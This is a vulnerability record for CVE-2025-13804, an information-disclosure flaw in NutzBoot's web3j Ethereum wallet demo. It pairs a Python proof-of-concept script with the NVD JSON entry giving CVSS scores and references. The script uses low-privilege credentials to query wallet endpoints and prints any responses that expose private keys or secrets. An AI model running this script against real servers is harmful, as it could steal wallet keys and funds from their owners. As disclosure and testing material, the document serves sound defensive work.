CVE-2025-13804

import requests # CVE-2025-13804 PoC - NutzBoot Ethereum Wallet Information Disclosure # Target: NutzBoot application with web3j module enabled target_url = "http://target-server:8080" # Authentication with low privilege credentials auth = ("low_privilege_user", "password") # Endpoints that may leak information endpoints = [ "/api/eth/balance", "/api/eth/wallets", "/api/eth/transactions", "/api/eth/contracts", "/module/eth/balance", "/module/eth/wallet/list" ] def check_vulnerability(): print("[*] CVE-2025-13804 Information Disclosure PoC") print(f"[*] Target: {target_url}") for endpoint in endpoints: try: url = target_url + endpoint response = requests.get(url, auth=auth, timeout=10) if response.status_code == 200: # Check for sensitive data in response if any(keyword in response.text.lower() for keyword in ['privatekey', 'secret', 'balance', '0x']): print(f"[+] VULNERABLE: {url}") print(f"[+] Response contains sensitive data:") print(response.text[:500]) else: print(f"[*] Endpoint accessible: {url}") elif response.status_code == 401: print(f"[-] Protected: {url}") else: print(f"[*] Status {response.status_code}: {url}") except Exception as e: print(f"[!] Error testing {endpoint}: {e}") if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2025-13804", "sourceIdentifier": "[email protected]", "published": "2025-12-01T04:16:05.393", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in nutzam NutzBoot up to 2.6.0-SNAPSHOT. The impacted element is an unknown function of the file nutzboot-demo/nutzboot-demo-simple/nutzboot-demo-simple-web3j/src/main/java/io/nutz/demo/simple/module/EthModule.java of the component Ethereum Wallet Handler. Performing a manipulation results in information disclosure. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/Xzzz111/exps/blob/main/archives/nutzboot-InfoLeak-1/report.md", "source": "[email protected]"}, {"url": "https://github.com/Xzzz111/exps/blob/main/archives/nutzboot-InfoLeak-1/report.md#vulnerability-details-and-poc", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.333814", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.333814", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.692050", "source": "[email protected]"}]}}